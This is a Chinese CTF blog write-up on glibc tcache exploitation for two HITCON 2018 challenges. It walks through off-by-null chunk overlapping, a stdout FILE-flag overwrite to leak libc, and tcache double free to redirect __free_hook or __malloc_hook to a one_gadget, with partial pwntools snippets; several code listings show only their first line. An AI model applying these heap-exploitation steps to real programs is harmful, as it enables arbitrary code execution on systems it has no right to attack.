tcache利用的2道典型题目
想着把之前学习和做过的题都整理一遍,首先是tcache的利用总结,会有2道题目
tcache简述
为了提升堆管理的性能,glibc 2.26之后引进了tcache,tcache使用两个新的结构体tcache_entry和tcache_perthread_struct进行管理,在free时,大小小于largebin size的堆块会先放入tcache中,每条tcache链上的堆块大小相同,每条tcache链最多放入7个堆块。在malloc时会优先在tcache中寻找合适大小的堆块。所以如果想利用之前fastbin或unsorted bin attack时要注意先把对应大小的tcache链填满或释放掉。
#tcache利用
tcache利用常和off by one、chunk overlapp结合,进行tcache的double free。
调试环境
tcache需要libc版本在2.26以上,2.27居多,之前尝试在ubuntu 18.04上装pwndbg,一直没有装成功,同学推荐了pwn的docker,目前有两种解决方案:推荐一个gdb-peda的插件,Pwngdb,在ubuntu18.04上挺好用的,在ubuntu18.10上使用Ctrl+C下断点的时候反应很慢,还没找到解决方案。另外推荐两个pwn环境的docker,pwndocker和ancypwn。
#HITCON 2018 baby_tcache
题目描述
这道题提供了add和remove两个功能,可以malloc不超过0x2000的任意堆块,申请的chunk大小可以控制,但是没有show的功能,泄露libc地址需要另外想办法。
题目开的保护情况:
题目漏洞
这道题有一个off by null的漏洞,由于没有show的功能,无法直接泄露libc,参考这篇大佬的writeup。首先利用IO_FILE结构体去泄露地址,然后利用off by null进行chunk overlapping,从而造成类似tcache double free的状态,然后修改__free_hook为one_gadget,调用free进行触发。具体分析如下。
利用过程
初始堆的布局,分配7个chunk:1
2
3
4
5
6
7add(0x500-8,'0') #0 0x500
add(0x30,'1') #1 0x40
add(0x40,'2') #2 0x50
add(0x50,'3') #3 0x60
add(0x60,'4') #4 0x70
add(0x500-8,'5') #5
add(0x70,'6') #6
释放idx4,再重新分配,并修改覆盖idx5的prev_size,idx5的prev_size域由0x500覆盖为0x660,而0x660恰好就是前面分配的idx0~idx4的大小之和:(0x500+0x40+0x50+0x60+0x70)=0x660。1
2
3#cover prev_size
remove(4)
add(0x68,'a'*0x60+'\x60\x06') #idx0-idx4 #4
释放idx2和idx0,再释放idx5,会根据idx5的prev_size大小0x660触发chunk的合并,进入unsorted bin中,大小为0xb60:1
2
3remove(2) #0x50 put tcache
remove(0) #0x500 put unsorted bin
remove(5) #merge idx0 put unsorted bin
再分配大小为0x530的堆块,unsorted bin和tcache中分配的起始地址相同:1
add(0x530,'0') #0 0x540 tcache:idx2-> main_arena+0x80 ->
下面可以进行libc的泄露了,由于没有打印函数,所以这里使用修改tcache 0x50的fd指针指向_IO_2_1_stdout_,修改该结构体的flag部分,让程序认为stdout有缓冲区,使得函数在调用puts函数时会最终调用到_IO_new_file_overflow,该函数会调用_IO_do_write进行输出,程序会以_IO_write_base开始,_IO_write_ptr结束的部分为缓冲区进行输出。在修改fd指针时需要爆破2个字节。
1 | remove(4) #0x70 put tcache |
这里需要修改_IO_2_1_stdout_的flag的值为0xfbad1800,使程序在调用put时能够满足条件调用_IO_do_write,这里参考了ctf-wiki关于tcache的讲解的文章,具体需要满足的条件如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25#_IO_FILE flags
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
_flags = 0xfbad0000 // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
最后利用tcache double free修改__free_hook为one_gadget:
1 | #double free |
完整exp如下:
1 | from pwn import * |
HITCON 2018 children_tcache
题目概述
这道题有add、show、remove三个功能,可以malloc任意不超过0x2000的chunk,数量最多为10个。
题目开的保护情况:
题目漏洞
这道题my_read函数没有漏洞,但是后面又调用了strcpy函数将缓冲区内容复制到申请的堆区域内,但strcpy在复制时会把源字符串末尾结束的‘\0’也复制到目的字符串中,所以如果源字符串长度已经达到设置的size,再在目的字符串空间末尾加一个‘\0’就会有off by null的漏洞。类似的,这道题也是利用off by null去进行chunk overlapping,利用tcache dup将__malloc_hook的地址修改为one_gadget,获得shell。由于libc是2.27的版本,需要注意tcache链的填充和释放。
利用过程
首先申请7个堆块,用于填充tcache,再申请3个0x110的堆块,释放idx7和idx8,目前bins的分布情况如下:
1 | add_times(0,7,0x100) |
继续从unsorted bin中申请0x110的idx7,将原本属于idx8的0x110分割为0x80的idx8和0x70的idx0,注意tcache链的填充。
1 | add_times(0,7,0x100) |
此时,再释放idx8和idx9,释放idx9时根据prev_size进行前向合并,此时,idx8和idx9合并的大小为0x220的队块进入unsortedbin中。
1 | remove(8) |
idx9对应的堆如下图所示,0x55cdcc1bead0是idx8对应堆的起始地址:
bins的分布情况如下图:
再继续分配0x80的idx9,此时unsorted bin中的第一个堆块的起始地址也是idx0的地址,再进行show(0)就可以泄露libc的地址。
1 | add_times(0,7,0x80) #1-6 8 0x90 |
这里说明一下常规的chunk overlapping会在分配0x80之前进行原本大小为0x110的idx9的prev_size的伪造,否则在分配新的堆块时会调用unlink陷入“corrupted size vs. prev_size”的错误。这里为什么没有伪造,等有时间总结一下申请堆内存的过程再来说明这个问题。
接下来构造tcache的double free,继续从unsorted bin中申请与idx0相同大小(0x70)的堆块,然后释放这两个相同起始地址的堆块,即可在tcache链中构造double free。
1 | remove_times(1,7) |
此时bins的分布如下图:
最后将__malloc_hook的内容修改为one_gadget,再申请分配堆块触发one_gadget,即可获得shell。
1 | one_gadget = libc_base + 0x41656 |
完整exp如下:
1 | from pwn import * |
参考
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/tcache_attack/